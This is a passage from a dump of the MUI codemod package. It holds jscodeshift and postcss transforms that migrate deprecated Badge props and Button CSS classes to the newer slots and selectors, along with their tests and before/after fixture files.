    "content": "import replaceComponentsWithSlots from '../utils/replaceComponentsWithSlots';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  replaceComponentsWithSlots(j, { root, componentName: 'Badge', packageName: options.packageName });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/badge-props/badge-props.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './badge-props';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('badge-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform({ source: read('./test-cases/actual.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform({ source: read('./test-cases/expected.js') }, { jscodeshift }, {});\n\n        const expected = read('./test-cases/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[theme] badge-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false } },\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/theme.expected.js') },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./test-cases/theme.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('[package] badge-props', () => {\n      it('transforms props as needed', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.actual.js') },\n          { jscodeshift },\n          { printOptions: { trailingComma: false }, packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read('./test-cases/package.expected.js') },\n          { jscodeshift },\n          { packageName: '@org/ui/material' },\n        );\n\n        const expected = read('./test-cases/package.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/badge-props/index.js",
    "content": "export { default } from './badge-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/badge-props/test-cases/actual.js",
    "content": "import { Badge } from '@mui/material';\n\n<Badge components={{ root: ComponentsRoot }} componentsProps={{ root: componentsRootProps }} />;\n\n<Badge\n  slots={{ badge: SlotsBadge }}\n  components={{ root: ComponentsRoot }}\n  slotProps={{ badge: slotsBadgeProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n\n<Badge\n  slots={{ root: SlotsRoot, badge: SlotsBadge }}\n  components={{ root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps, badge: slotsBadgeProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n\n<Badge\n  slots={{ root: SlotsRoot, badge: SlotsBadge }}\n  components={{ root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps, badge: slotsBadgeProps }}\n  componentsProps={{ root: componentsRootProps, badge: componentsBadgeProps }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/badge-props/test-cases/expected.js",
    "content": "import { Badge } from '@mui/material';\n\n<Badge slots={{\n  root: ComponentsRoot\n}} slotProps={{ root: componentsRootProps }} />;\n\n<Badge\n  slots={{\n    badge: SlotsBadge,\n    root: ComponentsRoot\n  }}\n  slotProps={{\n    badge: slotsBadgeProps,\n    root: componentsRootProps\n  }} />;\n\n<Badge\n  slots={{ root: SlotsRoot, badge: SlotsBadge }}\n  slotProps={{ badge: slotsBadgeProps, root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n\n<Badge\n  slots={{ root: SlotsRoot, badge: SlotsBadge }}\n  slotProps={{ root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  }, badge: {\n    ...componentsBadgeProps,\n    ...slotsBadgeProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/badge-props/test-cases/package.actual.js",
    "content": "import { Badge } from '@org/ui/material';\n\n<Badge components={{ root: ComponentsRoot }} componentsProps={{ root: componentsRootProps }} />;\n\n<Badge\n  slots={{ badge: SlotsBadge }}\n  components={{ root: ComponentsRoot }}\n  slotProps={{ badge: slotsBadgeProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n\n<Badge\n  slots={{ root: SlotsRoot, badge: SlotsBadge }}\n  components={{ root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps, badge: slotsBadgeProps }}\n  componentsProps={{ root: componentsRootProps }}\n/>;\n\n<Badge\n  slots={{ root: SlotsRoot, badge: SlotsBadge }}\n  components={{ root: ComponentsRoot }}\n  slotProps={{ root: slotsRootProps, badge: slotsBadgeProps }}\n  componentsProps={{ root: componentsRootProps, badge: componentsBadgeProps }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/badge-props/test-cases/package.expected.js",
    "content": "import { Badge } from '@org/ui/material';\n\n<Badge slots={{\n  root: ComponentsRoot\n}} slotProps={{ root: componentsRootProps }} />;\n\n<Badge\n  slots={{\n    badge: SlotsBadge,\n    root: ComponentsRoot\n  }}\n  slotProps={{\n    badge: slotsBadgeProps,\n    root: componentsRootProps\n  }} />;\n\n<Badge\n  slots={{ root: SlotsRoot, badge: SlotsBadge }}\n  slotProps={{ badge: slotsBadgeProps, root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  } }} />;\n\n<Badge\n  slots={{ root: SlotsRoot, badge: SlotsBadge }}\n  slotProps={{ root: {\n    ...componentsRootProps,\n    ...slotsRootProps\n  }, badge: {\n    ...componentsBadgeProps,\n    ...slotsBadgeProps\n  } }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/badge-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiBadge: {\n    defaultProps: {\n      components: { root: ComponentsRoot },\n      componentsProps: { root: componentsRootProps },\n    },\n  },\n});\n\nfn({\n  MuiBadge: {\n    defaultProps: {\n      components: { root: ComponentsRoot },\n      slots: { badge: SlotsBadge },\n      componentsProps: { root: componentsRootProps },\n      slotProps: { badge: slotsBadgeProps },\n    },\n  },\n});\n\nfn({\n  MuiBadge: {\n    defaultProps: {\n      components: { root: ComponentsRoot },\n      slots: { badge: SlotsBadge, root: SlotsRoot },\n      componentsProps: { root: componentsRootProps },\n      slotProps: { root: slotsRootProps, badge: slotsBadgeProps },\n    },\n  },\n});\n\nfn({\n  MuiBadge: {\n    defaultProps: {\n      components: { root: ComponentsRoot },\n      slots: { badge: SlotsBadge, root: SlotsRoot },\n      componentsProps: { root: componentsRootProps, badge: componentsBadgeProps },\n      slotProps: { badge: slotsBadgeProps, root: slotsRootProps },\n    },\n  },\n});\n\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/badge-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiBadge: {\n    defaultProps: {\n      slots: {\n        root: ComponentsRoot\n      },\n\n      slotProps: {\n        root: componentsRootProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiBadge: {\n    defaultProps: {\n      slots: {\n        root: ComponentsRoot,\n        badge: SlotsBadge\n      },\n\n      slotProps: {\n        root: componentsRootProps,\n        badge: slotsBadgeProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiBadge: {\n    defaultProps: {\n      slots: {\n        root: SlotsRoot,\n        badge: SlotsBadge\n      },\n\n      slotProps: {\n        root: {\n          ...componentsRootProps,\n          ...slotsRootProps\n        },\n\n        badge: slotsBadgeProps\n      }\n    },\n  },\n});\n\nfn({\n  MuiBadge: {\n    defaultProps: {\n      slots: {\n        root: SlotsRoot,\n        badge: SlotsBadge\n      },\n\n      slotProps: {\n        root: {\n          ...componentsRootProps,\n          ...slotsRootProps\n        },\n\n        badge: {\n          ...componentsBadgeProps,\n          ...slotsBadgeProps\n        }\n      }\n    },\n  },\n});\n\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-classes/button-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/Button)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier' && specifier.imported.name === 'buttonClasses') {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiButton-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    parent.expressions.splice(\n                      memberExpressionIndex,\n                      1,\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[0]),\n                      ),\n\n                      j.memberExpression(\n                        memberExpression.value.object,\n                        j.identifier(atomicClasses[1]),\n                      ),\n                    );\n\n                    if (replacementSelector.includes(' > ')) {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      );\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`^${replacementSelectorPrefix}${deprecatedClass}`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-classes/button-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './button-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('button-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-classes/index.js",
    "content": "export { default } from './button-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: '.MuiButton-textInherit',\n    replacementSelector: '.MuiButton-text.MuiButton-colorInherit',\n  },\n  {\n    deprecatedClass: '.MuiButton-textPrimary',\n    replacementSelector: '.MuiButton-text.MuiButton-colorPrimary',\n  },\n  {\n    deprecatedClass: '.MuiButton-textSecondary',\n    replacementSelector: '.MuiButton-text.MuiButton-colorSecondary',\n  },\n  {\n    deprecatedClass: '.MuiButton-textSuccess',\n    replacementSelector: '.MuiButton-text.MuiButton-colorSuccess',\n  },\n  {\n    deprecatedClass: '.MuiButton-textError',\n    replacementSelector: '.MuiButton-text.MuiButton-colorError',\n  },\n  {\n    deprecatedClass: '.MuiButton-textInfo',\n    replacementSelector: '.MuiButton-text.MuiButton-colorInfo',\n  },\n  {\n    deprecatedClass: '.MuiButton-textWarning',\n    replacementSelector: '.MuiButton-text.MuiButton-colorWarning',\n  },\n  {\n    deprecatedClass: '.MuiButton-outlinedInherit',\n    replacementSelector: '.MuiButton-outlined.MuiButton-colorInherit',\n  },\n  {\n    deprecatedClass: '.MuiButton-outlinedPrimary',\n    replacementSelector: '.MuiButton-outlined.MuiButton-colorPrimary',\n  },\n  {\n    deprecatedClass: '.MuiButton-outlinedSecondary',\n    replacementSelector: '.MuiButton-outlined.MuiButton-colorSecondary',\n  },\n  {\n    deprecatedClass: '.MuiButton-outlinedSuccess',\n    replacementSelector: '.MuiButton-outlined.MuiButton-colorSuccess',\n  },\n  {\n    deprecatedClass: '.MuiButton-outlinedError',\n    replacementSelector: '.MuiButton-outlined.MuiButton-colorError',\n  },\n  {\n    deprecatedClass: '.MuiButton-outlinedInfo',\n    replacementSelector: '.MuiButton-outlined.MuiButton-colorInfo',\n  },\n  {\n    deprecatedClass: '.MuiButton-outlinedWarning',\n    replacementSelector: '.MuiButton-outlined.MuiButton-colorWarning',\n  },\n  {\n    deprecatedClass: '.MuiButton-containedInherit',\n    replacementSelector: '.MuiButton-contained.MuiButton-colorInherit',\n  },\n  {\n    deprecatedClass: '.MuiButton-containedPrimary',\n    replacementSelector: '.MuiButton-contained.MuiButton-colorPrimary',\n  },\n  {\n    deprecatedClass: '.MuiButton-containedSecondary',\n    replacementSelector: '.MuiButton-contained.MuiButton-colorSecondary',\n  },\n  {\n    deprecatedClass: '.MuiButton-containedSuccess',\n    replacementSelector: '.MuiButton-contained.MuiButton-colorSuccess',\n  },\n  {\n    deprecatedClass: '.MuiButton-containedError',\n    replacementSelector: '.MuiButton-contained.MuiButton-colorError',\n  },\n  {\n    deprecatedClass: '.MuiButton-containedInfo',\n    replacementSelector: '.MuiButton-contained.MuiButton-colorInfo',\n  },\n  {\n    deprecatedClass: '.MuiButton-containedWarning',\n    replacementSelector: '.MuiButton-contained.MuiButton-colorWarning',\n  },\n  {\n    deprecatedClass: '.MuiButton-textSizeSmall',\n    replacementSelector: '.MuiButton-text.MuiButton-sizeSmall',\n  },\n  {\n    deprecatedClass: '.MuiButton-textSizeLarge',\n    replacementSelector: '.MuiButton-text.MuiButton-sizeLarge',\n  },\n  {\n    deprecatedClass: '.MuiButton-outlinedSizeSmall',\n    replacementSelector: '.MuiButton-outlined.MuiButton-sizeSmall',\n  },\n  {\n    deprecatedClass: '.MuiButton-outlinedSizeLarge',\n    replacementSelector: '.MuiButton-outlined.MuiButton-sizeLarge',\n  },\n  {\n    deprecatedClass: '.MuiButton-containedSizeSmall',\n    replacementSelector: '.MuiButton-contained.MuiButton-sizeSmall',\n  },\n  {\n    deprecatedClass: '.MuiButton-containedSizeLarge',\n    replacementSelector: '.MuiButton-contained.MuiButton-sizeLarge',\n  },\n  {\n    deprecatedClass: '.MuiButton-textSizeMedium',\n    replacementSelector: '.MuiButton-text.MuiButton-sizeMedium',\n  },\n  {\n    deprecatedClass: '.MuiButton-outlinedSizeMedium',\n    replacementSelector: '.MuiButton-outlined.MuiButton-sizeMedium',\n  },\n  {\n    deprecatedClass: '.MuiButton-containedSizeMedium',\n    replacementSelector: '.MuiButton-contained.MuiButton-sizeMedium',\n  },\n  {\n    deprecatedClass: ' .MuiButton-iconSizeSmall',\n    replacementSelector: '.MuiButton-sizeSmall > .MuiButton-icon',\n  },\n  {\n    deprecatedClass: ' .MuiButton-iconSizeMedium',\n    replacementSelector: '.MuiButton-sizeMedium > .MuiButton-icon',\n  },\n  {\n    deprecatedClass: ' .MuiButton-iconSizeLarge',\n    replacementSelector: '.MuiButton-sizeLarge > .MuiButton-icon',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated Button classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-classes/test-cases/actual.css",
    "content": ".MuiButton-textInherit {\n  color: red;\n}\n\n.MuiButton-textPrimary {\n  color: red;\n}\n\n.MuiButton-textSecondary {\n  color: red;\n}\n\n.MuiButton-textSuccess {\n  color: red;\n}\n\n.MuiButton-textError {\n  color: red;\n}\n\n.MuiButton-textInfo {\n  color: red;\n}\n\n.MuiButton-textWarning {\n  color: red;\n}\n\n.MuiButton-outlinedInherit {\n  color: red;\n}\n\n.MuiButton-outlinedPrimary {\n  color: red;\n}\n\n.MuiButton-outlinedSecondary {\n  color: red;\n}\n\n.MuiButton-outlinedSuccess {\n  color: red;\n}\n\n.MuiButton-outlinedError {\n  color: red;\n}\n\n.MuiButton-outlinedInfo {\n  color: red;\n}\n\n.MuiButton-outlinedWarning {\n  color: red;\n}\n\n.MuiButton-containedInherit {\n  color: red;\n}\n\n.MuiButton-containedPrimary {\n  color: red;\n}\n\n.MuiButton-containedSecondary {\n  color: red;\n}\n\n.MuiButton-containedSuccess {\n  color: red;\n}\n\n.MuiButton-containedError {\n  color: red;\n}\n\n.MuiButton-containedInfo {\n  color: red;\n}\n\n.MuiButton-containedWarning {\n  color: red;\n}\n\n.MuiButton-textSizeSmall {\n  color: red;\n}\n\n.MuiButton-textSizeMedium {\n  color: red;\n}\n\n.MuiButton-textSizeLarge {\n  color: red;\n}\n\n.MuiButton-outlinedSizeSmall {\n  color: red;\n}\n\n.MuiButton-outlinedSizeMedium {\n  color: red;\n}\n\n.MuiButton-outlinedSizeLarge {\n  color: red;\n}\n\n.MuiButton-containedSizeSmall {\n  color: red;\n}\n\n.MuiButton-containedSizeMedium {\n  color: red;\n}\n\n.MuiButton-containedSizeLarge {\n  color: red;\n}\n\n.MuiButton-root .MuiButton-iconSizeSmall {\n  color: red;\n}\n\n.MuiButton-root .MuiButton-iconSizeMedium {\n  color: red;\n}\n\n.MuiButton-root .MuiButton-iconSizeLarge {\n  color: red;\n}\n\n\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-classes/test-cases/actual.js",
    "content": "import { buttonClasses } from '@mui/material/Button';\n\n('&.MuiButton-textInherit');\n('&.MuiButton-textPrimary');\n('&.MuiButton-textSecondary');\n('&.MuiButton-textSuccess');\n('&.MuiButton-textError');\n('&.MuiButton-textInfo');\n('&.MuiButton-textWarning');\n('&.MuiButton-outlinedInherit');\n('&.MuiButton-outlinedPrimary');\n('&.MuiButton-outlinedSecondary');\n('&.MuiButton-outlinedSuccess');\n('&.MuiButton-outlinedError');\n('&.MuiButton-outlinedInfo');\n('&.MuiButton-outlinedWarning');\n('&.MuiButton-containedInherit');\n('&.MuiButton-containedPrimary');\n('&.MuiButton-containedSecondary');\n('&.MuiButton-containedSuccess');\n('&.MuiButton-containedError');\n('&.MuiButton-containedInfo');\n('&.MuiButton-containedWarning');\n('&.MuiButton-textSizeSmall');\n('&.MuiButton-textSizeMedium');\n('&.MuiButton-textSizeLarge');\n('&.MuiButton-outlinedSizeSmall');\n('&.MuiButton-outlinedSizeMedium');\n('&.MuiButton-outlinedSizeLarge');\n('&.MuiButton-containedSizeSmall');\n('&.MuiButton-containedSizeMedium');\n('&.MuiButton-containedSizeLarge');\n('& .MuiButton-iconSizeSmall');\n('& .MuiButton-iconSizeMedium');\n('& .MuiButton-iconSizeLarge');\n`&.${buttonClasses.textInherit}`;\n`&.${buttonClasses.textPrimary}`;\n`&.${buttonClasses.textSecondary}`;\n`&.${buttonClasses.textSuccess}`;\n`&.${buttonClasses.textError}`;\n`&.${buttonClasses.textInfo}`;\n`&.${buttonClasses.textWarning}`;\n`&.${buttonClasses.outlinedInherit}`;\n`&.${buttonClasses.outlinedPrimary}`;\n`&.${buttonClasses.outlinedSecondary}`;\n`&.${buttonClasses.outlinedSuccess}`;\n`&.${buttonClasses.outlinedError}`;\n`&.${buttonClasses.outlinedInfo}`;\n`&.${buttonClasses.outlinedWarning}`;\n`&.${buttonClasses.containedInherit}`;\n`&.${buttonClasses.containedPrimary}`;\n`&.${buttonClasses.containedSecondary}`;\n`&.${buttonClasses.containedSuccess}`;\n`&.${buttonClasses.containedError}`;\n`&.${buttonClasses.containedInfo}`;\n`&.${buttonClasses.containedWarning}`;\n`&.${buttonClasses.textSizeSmall}`;\n`&.${buttonClasses.textSizeMedium}`;\n`&.${buttonClasses.textSizeLarge}`;\n`&.${buttonClasses.outlinedSizeSmall}`;\n`&.${buttonClasses.outlinedSizeMedium}`;\n`&.${buttonClasses.outlinedSizeLarge}`;\n`&.${buttonClasses.containedSizeSmall}`;\n`&.${buttonClasses.containedSizeMedium}`;\n`&.${buttonClasses.containedSizeLarge}`;\n`& .${buttonClasses.iconSizeSmall}`;\n`& .${buttonClasses.iconSizeMedium}`;\n`& .${buttonClasses.iconSizeLarge}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-classes/test-cases/expected.css",
    "content": ".MuiButton-text.MuiButton-colorInherit {\n  color: red;\n}\n\n.MuiButton-text.MuiButton-colorPrimary {\n  color: red;\n}\n\n.MuiButton-text.MuiButton-colorSecondary {\n  color: red;\n}\n\n.MuiButton-text.MuiButton-colorSuccess {\n  color: red;\n}\n\n.MuiButton-text.MuiButton-colorError {\n  color: red;\n}\n\n.MuiButton-text.MuiButton-colorInfo {\n  color: red;\n}\n\n.MuiButton-text.MuiButton-colorWarning {\n  color: red;\n}\n\n.MuiButton-outlined.MuiButton-colorInherit {\n  color: red;\n}\n\n.MuiButton-outlined.MuiButton-colorPrimary {\n  color: red;\n}\n\n.MuiButton-outlined.MuiButton-colorSecondary {\n  color: red;\n}\n\n.MuiButton-outlined.MuiButton-colorSuccess {\n  color: red;\n}\n\n.MuiButton-outlined.MuiButton-colorError {\n  color: red;\n}\n\n.MuiButton-outlined.MuiButton-colorInfo {\n  color: red;\n}\n\n.MuiButton-outlined.MuiButton-colorWarning {\n  color: red;\n}\n\n.MuiButton-contained.MuiButton-colorInherit {\n  color: red;\n}\n\n.MuiButton-contained.MuiButton-colorPrimary {\n  color: red;\n}\n\n.MuiButton-contained.MuiButton-colorSecondary {\n  color: red;\n}\n\n.MuiButton-contained.MuiButton-colorSuccess {\n  color: red;\n}\n\n.MuiButton-contained.MuiButton-colorError {\n  color: red;\n}\n\n.MuiButton-contained.MuiButton-colorInfo {\n  color: red;\n}\n\n.MuiButton-contained.MuiButton-colorWarning {\n  color: red;\n}\n\n.MuiButton-text.MuiButton-sizeSmall {\n  color: red;\n}\n\n.MuiButton-text.MuiButton-sizeMedium {\n  color: red;\n}\n\n.MuiButton-text.MuiButton-sizeLarge {\n  color: red;\n}\n\n.MuiButton-outlined.MuiButton-sizeSmall {\n  color: red;\n}\n\n.MuiButton-outlined.MuiButton-sizeMedium {\n  color: red;\n}\n\n.MuiButton-outlined.MuiButton-sizeLarge {\n  color: red;\n}\n\n.MuiButton-contained.MuiButton-sizeSmall {\n  color: red;\n}\n\n.MuiButton-contained.MuiButton-sizeMedium {\n  color: red;\n}\n\n.MuiButton-contained.MuiButton-sizeLarge {\n  color: red;\n}\n\n.MuiButton-root.MuiButton-sizeSmall > .MuiButton-icon {\n  color: red;\n}\n\n.MuiButton-root.MuiButton-sizeMedium > .MuiButton-icon {\n  color: red;\n}\n\n.MuiButton-root.MuiButton-sizeLarge > .MuiButton-icon {\n  color: red;\n}\n\n\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-classes/test-cases/expected.js",
    "content": "import { buttonClasses } from '@mui/material/Button';\n\n(\"&.MuiButton-text.MuiButton-colorInherit\");\n(\"&.MuiButton-text.MuiButton-colorPrimary\");\n(\"&.MuiButton-text.MuiButton-colorSecondary\");\n(\"&.MuiButton-text.MuiButton-colorSuccess\");\n(\"&.MuiButton-text.MuiButton-colorError\");\n(\"&.MuiButton-text.MuiButton-colorInfo\");\n(\"&.MuiButton-text.MuiButton-colorWarning\");\n(\"&.MuiButton-outlined.MuiButton-colorInherit\");\n(\"&.MuiButton-outlined.MuiButton-colorPrimary\");\n(\"&.MuiButton-outlined.MuiButton-colorSecondary\");\n(\"&.MuiButton-outlined.MuiButton-colorSuccess\");\n(\"&.MuiButton-outlined.MuiButton-colorError\");\n(\"&.MuiButton-outlined.MuiButton-colorInfo\");\n(\"&.MuiButton-outlined.MuiButton-colorWarning\");\n(\"&.MuiButton-contained.MuiButton-colorInherit\");\n(\"&.MuiButton-contained.MuiButton-colorPrimary\");\n(\"&.MuiButton-contained.MuiButton-colorSecondary\");\n(\"&.MuiButton-contained.MuiButton-colorSuccess\");\n(\"&.MuiButton-contained.MuiButton-colorError\");\n(\"&.MuiButton-contained.MuiButton-colorInfo\");\n(\"&.MuiButton-contained.MuiButton-colorWarning\");\n(\"&.MuiButton-text.MuiButton-sizeSmall\");\n(\"&.MuiButton-text.MuiButton-sizeMedium\");\n(\"&.MuiButton-text.MuiButton-sizeLarge\");\n(\"&.MuiButton-outlined.MuiButton-sizeSmall\");\n(\"&.MuiButton-outlined.MuiButton-sizeMedium\");\n(\"&.MuiButton-outlined.MuiButton-sizeLarge\");\n(\"&.MuiButton-contained.MuiButton-sizeSmall\");\n(\"&.MuiButton-contained.MuiButton-sizeMedium\");\n(\"&.MuiButton-contained.MuiButton-sizeLarge\");\n(\"&.MuiButton-sizeSmall > .MuiButton-icon\");\n(\"&.MuiButton-sizeMedium > .MuiButton-icon\");\n(\"&.MuiButton-sizeLarge > 